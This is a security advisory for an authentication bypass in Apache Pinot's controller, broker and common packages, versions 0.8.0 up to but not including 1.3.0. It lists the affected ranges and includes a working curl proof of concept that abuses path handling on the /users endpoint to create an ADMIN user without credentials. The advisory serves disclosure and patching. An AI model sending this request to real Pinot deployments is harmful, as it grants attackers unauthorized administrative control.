GHSA-6jwp-4wvj-6597 Apache Pinot Vulnerable to Authentication Bypass

• Maven org.apache.pinot:pinot-broker: >= 0.8.0, < 1.3.0 → fixed in 1.3.0 • Maven org.apache.pinot:pinot-common: >= 0.8.0, < 1.3.0 → fixed in 1.3.0 • Maven org.apache.pinot:pinot-controller: >= 0.8.0, < 1.3.0 → fixed in 1.3.0

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.